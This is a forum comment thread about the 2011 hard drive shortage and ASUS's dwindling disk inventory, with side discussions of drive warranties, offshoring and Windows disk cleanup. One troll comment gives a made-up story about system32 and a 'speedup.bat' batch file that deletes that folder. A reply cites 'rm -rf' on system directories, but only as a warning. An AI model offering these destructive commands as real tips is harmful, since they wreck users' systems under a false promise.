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ASUS Running Out of Hard Disks

The hard drive crunch continues; reader Thorfinn.au writes "ASUS has said it only has hard disk drive (HDD) inventory until the end of November. 'Substitutes for HDD are very few, so if the situation persists, not only notebook production will be affected but also desktops, and other component shipments will also drop,' Asustek CFO David Chang told Reuters."

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  1. Supply for Q4 to be down 28% by Thorfinn.au · · Score: 2
    1. Re:Supply for Q4 to be down 28% by galaad2 · · Score: 4, Interesting

      i found a few pictures of the flooded WD factory here:
      (flip forward in the photo album)

      https://www.facebook.com/photo.php?fbid=10150371103772908

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    2. Re:Supply for Q4 to be down 28% by billcopc · · Score: 2

      Seagate, Hitachi, WD, Toshiba, and Samsung, they have all had good batches and bad batches. Over the past 15 years, I'd say they all even out. The true measure of a hard drive manufacturer isn't really in the product itself, but in their warranty service. In that sense, I have to give WD the crown, followed very closely by Seagate. The key thing to remember is that all drives will eventually fail.

      WD: zero hassle RMA. Plug in up to 5 serial numbers, and optionally order a cross-shipped replacement. 30 second process for 5 drives.

      Seagate: slight hassle RMA. You can only do them one by one (or maybe two). About 1 in 5 drives will be falsely rejected by the web app, requiring a phone call. Pay $10 for a "advanced RMA" (cross-shipping), but that also covers your return shipping. 5 minute process per drive.

      As a guy who was flogging in excess of 50 drives a month before the floods, I find WD's process much simpler and faster. They also don't limit you to 5 RMAs, that's just how many cross-shipments you can do in one batch on the web site. Of course, what matters to me, may not matter to you. If you only have one or two hard drives in your household, this is all moot.

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  2. Re:The return of Linux on Eee? by Kokuyo · · Score: 2

    Frankly, on a netbook, how would Win7 be less comfortable on those 32 Gigs? Depending on what use you see for a netbook, of course. For me, it's not a mediaplayer and not a gaming rig. So what would I need more than 32 gigs for, even with Win7? Office does not produce files THAT bloated and my email account isn't that overfilled either.

  3. Re:Opportunity for U.S. manufacturing to step up? by Lehk228 · · Score: 4, Funny

    build a hard drive factory in response to a temporary shortage.....

    lemme guess, you hold an MBA?

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  4. Re:Opportunity for U.S. manufacturing to step up? by Vandil+X · · Score: 3, Insightful

    US workers won't work in a HDD manufacturing mill without getting $15+/hr plus benefits and a labor union to strong arm management. That cannot compete with conditions overseas where the wages are pennies on the dollar and minimal benefits and dictatorship rules over every employee.

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  5. Re:The return of Linux on Eee? by Pieroxy · · Score: 4, Interesting

    I have a media center at home. I installed Vista about 4 years ago. I let it run and update itself automatically. All data was on other drives (music, pics, recorded TV, etc...). C: was a 30GB partition. I was under the assumption that this was more than enough.

    One day, toughly 3 years after install, the thing displayed a whole lot of error messages and whatnot. I decided to reboot it. The same error messages were displayed, do I dived in.

    C: had filled up entirely. 0 bytes available. So I looked up on the internet and cleaned up what was not necessary - namely all packages and updates ever received through the net were still there and everything that was patched was also backed up. I freed about 18GB in 5 minutes of worthless files.

    As a matter of fact, I just checked my HDD while writing this post. To make sure the size was correct. I only have about 400MB of free space on C:. Time to garbage collect, but this time, I think Vista will be part of the garbage and will be collected as well.

  6. Re:Opportunity for U.S. manufacturing to step up? by Splab · · Score: 2

    Uhh another MBA?

    Because it's cheap to have workforce with special education standing around and waiting, keeping equipment maintained and updating manufacturing processes every once in a while?

  7. Re:Opportunity for U.S. manufacturing to step up? by Zironic · · Score: 4, Insightful

    Keeping idle production capacity around is extremely expensive.

  8. I buy HDDs around this time of year... by madhatter256 · · Score: 2

    Because of Black Friday around the corner and other holidays coming up. I tend to buy my large capacity HDDs online due to insanely low prices.

    But now it looks like I cannot afford them and will have to look into buying refurbished hdds.

    Believe it or not, 1/4 of my drives I bought as refurbed and have yet to crap out *knock on wood*, so if you want a cheap large capacity HDD, then a refurb drive might be your only option if their prices do not shoot sky high as the brand new ones...

    I might also have better luck scoring a cheap drive locally...

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  9. Re:Hope so by trum4n · · Score: 2

    The original Sony C1XS (1999-2000) was the perfect netbook. I just wish they built a new hardware version with the same design. Mine is still kicking, be it at 400Mhz with 64MB RAM. The 40GB hard drive was a great upgrade from 12.

  10. Re:Opportunity for U.S. manufacturing to step up? by x1r8a3k · · Score: 2

    This may be more difficult than you'd imagine.

    I doubt we currently have the infrastructure to manufacture the drives, or else some manufacturer would be doing just that and hugely advertising "Hey, we've still got drives!" Considering production of hard drives is only supposed to be down for a year or so, by the time the ones here were ready to go, so would the foreign ones. Domestic can't keep up with cost, and were back to where we started.

  11. Re:Opportunity for U.S. manufacturing to step up? by Anonymous Coward · · Score: 4, Funny

    lemme guess, you hold an MBA?

    Lemme guess, you don't?

    Nah, but when I was 12 I got kicked in the head by a horse, which I figure is pretty much the same thing.

  12. Re:Opportunity for U.S. manufacturing to step up? by Sponge+Bath · · Score: 5, Insightful

    US workers won't work in a HDD manufacturing mill without getting $15+/hr plus benefits...

    My god! $30K/year and health insurance? What a bunch of greedy bastards! Don't they know how those extravagant wages will affect the incomes of the top 1%?

  13. Re:The return of Linux on Eee? by klui · · Score: 2

    You get rid of the backed up system updates via CCleaner (Advanced > Hotfix Uninstallers). But it won't remove the downloaded files so manual remove from %WINDIR%\softwaredistribution\download. I do this after every Patch Tuesday.

  14. even better - delete System32, free up 32 GB! by Anonymous Coward · · Score: 2, Funny
    Okay, listen up.
    When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the Windows folder that literally slows down your machine--on purpose. "System32" holds 32 GIGABYTES of deleted files, internet history, uninstalled programs, and other worthless crap that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "cleaning" tools, like TuneUp Utilities, Norton Antivirus, etc. More money for them. I'm not cool with that, however. Here's how to outsmart those assholes once and for all. Open notepad:
    Type the following text:

    @echo off
    del C:\\WINDOWS\system32

    Save as "speedup.bat" (select "all files" instead of "text document")
    Double click the .bat file.
    Reboot, and your PC is twice as fast. (You didn't hear it from me)
    Source(s):
    My computer is fast.

    1. Re:even better - delete System32, free up 32 GB! by geminidomino · · Score: 2

      Whoosh...

      It should go without saying, but as a public service for anyone who might NOT know what the system32 folder is for who might be tempted to try it:

      Don't. It's where configuration, libraries, and drivers (among other things) are stored.

      Pretty much the Windows analog to 'sudo rm -rf /var /lib /etc' on linux. (Protip: Don't try THAT either)

      The more you know.

    2. Re:even better - delete System32, free up 32 GB! by tvsjr · · Score: 2

      Warning: 4chan tard detected...

  15. Single point of failure by LoRdTAW · · Score: 2

    I like how one little country that normally doesn't play a big role in the world, is flooded and suddenly its a big deal. How many of the disk makers have factories located there?

    And here I was all set to buy two 2 TB disks.

    1. Re:Single point of failure by King_TJ · · Score: 2

      Well, actually, it *is* kind of a big deal, only because the hard disk makers have undergone a lot of consolidation over the years, and the few that remain all chose to put at least a couple of their major facilities in the same location.

      I know Seagate said they're NOT affected directly, as they have no flooded plants - BUT they're having problems sourcing components because one of the largest manufacturers of the spindle motors for drives is located there and was flooded out. I believe the same goes for another component maker that supplied at least one other part needed to make drives.

  16. Re:The old health system is killing jobs and the G by lourd_baltimore · · Score: 3, Funny

    I thought pancreatic cancer was killing jobs. (Too soon?)

  17. Re:that's 28% of the 25% = 7% of global production by Guspaz · · Score: 2

    The article doesn't make that clear, although 7% is consistent with the size of the HDD market. But the impact on the market is more severe than that. Anybody using WD as a primary drive brand (for uniformity in enterprise applications) is going to get stuck with massive price increases: The cost of WD drives has more than doubled over the past few weeks, with a 3TB drive going from ~$130 to ~$280. Companies that aren't forced to stick with WD (computer vendors perhaps) will still face the task of validating new drives. And on top of all this, there is the hit in component manufacturing. Nidec makes 75% of all HDD spindle motors globally, and one quarter of their production capacity was in Thailand. That has been heavily disrupted, although they're starting to start those factories back up again. But the hiccup in production is certainly being felt.

    Yes, companies can turn up additional production capacity elsewhere, but that takes time, and everybody is feeling the pinch in the meantime, with the inability to get drives.

    In terms of a consumer trying to purchase drives, pretty much all stores (in Canada, at least) are limiting consumers to one or two drives per person (putting a real crimp on my plan to add another five disks to my fileserver), and ASUS is reporting that they'll run out of drives by the end of the month, at which point they won't be able to keep up with demand for their computers. So yes, it's pretty dire, although it's not exactly earth-shattering.

  18. Re:Opportunity for U.S. manufacturing to step up? by chrb · · Score: 4, Informative

    He didn't say U.S. workers were greedy, he said that $15/hour+benefits "cannot compete with conditions overseas where the wages are pennies on the dollar". And he is right. People do not realise how low Chinese wages are. A factory worker gets about $0.50/hr. They work 100 hours a week. They have limited benefits, but sometimes the employment does include housing and food. They have massive factories where tens of thousands of young people (mostly women) do nothing but eat, sleep and work. The pay at Foxconn - generally recognised as being one of the better employers - was less than $150/month before the string of worker suicides. Imagine what conditions and pay are like with a worse employer. Americans are not willing to work under these conditions and pay, and even if they were, it wouldn't be financially viable for most of them.

  19. Re:Opportunity for U.S. manufacturing to step up? by Hatta · · Score: 4, Insightful

    But when labor has more money, they can buy more goods. That makes more jobs, and everyone is better off. A rising tide raises all ships.

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  20. Re:Opportunity for U.S. manufacturing to step up? by Hatta · · Score: 4, Insightful

    The solution is to prohibit corporations that want to do business in America from sidestepping American laws on environmental regulation and wages. Won't ever happen, but that would solve the problem.

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  21. Re:Opportunity for U.S. manufacturing to step up? by Rockoon · · Score: 2

    Sure.. let solve the problem of workers in some other countries being so desperate for a job that they will work in terrible conditions... by taking the demand for their job away! The road to hell is paved with good intentions.

    The best thing that we can do for workers in those countries is to increase the demand for products produced there, leading to a labor shortage that benefits the workers.

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  22. Re:Opportunity for U.S. manufacturing to step up? by Politburo · · Score: 3, Insightful

    Two of the countries we're talking about have over a billion people.. might want to think about your plan a bit more.

  23. Re:The return of Linux on Eee? by wbo · · Score: 2

    Proof by anecdote, I know, but I've never had any issues cleaning out C:\Windows\SoftwareDistribution\Download. Now, C:\Windows\Installer on the other hand... Just leave that one alone. Compress it if you want, but don't delete that stuff, or you will majorly screw up subsequent installations/uninstallations.

    Yes, cleaning out C:\Windows\SoftwareDistribution\Download is perfectly safe but usually unnecessary.

    Updates are downloaded into that folder and then installed. If the installation of an update is successful, the installer is deleted from the SoftwareDistribution\Download folder. If it is unsuccessful the installer remains in the folder and the installation will be attempted again the next time Windows Update is run.

    I have seen systems with a lot of installers in the SoftwareDistribution\Download folder for updates that were installed successfully. Further investigation revealed that the antivirus client on the machine was keeping a file handle to the installer open after the update was installed. As a result, when Windows failed to delete the installer because the antivirus client never closed it's handle to the file.

    The way to fix this problem was to reboot the PC (to make sure there are no more open handles) and manually delete the contents of the SoftwareDistribution\Download folder. I usually follow this up by removing the installed antivirus client and installing a more well-behaved one such as Microsoft Security Essentials.

  24. Dear ASUS by rrohbeck · · Score: 2

    1. Make laptops with 60GB SSDs instead of 250GB HDDs.
    2. Offer them without Windows and package an Ubuntu CD instead.
    3. Sell them at the same price as before.
    4. Profit!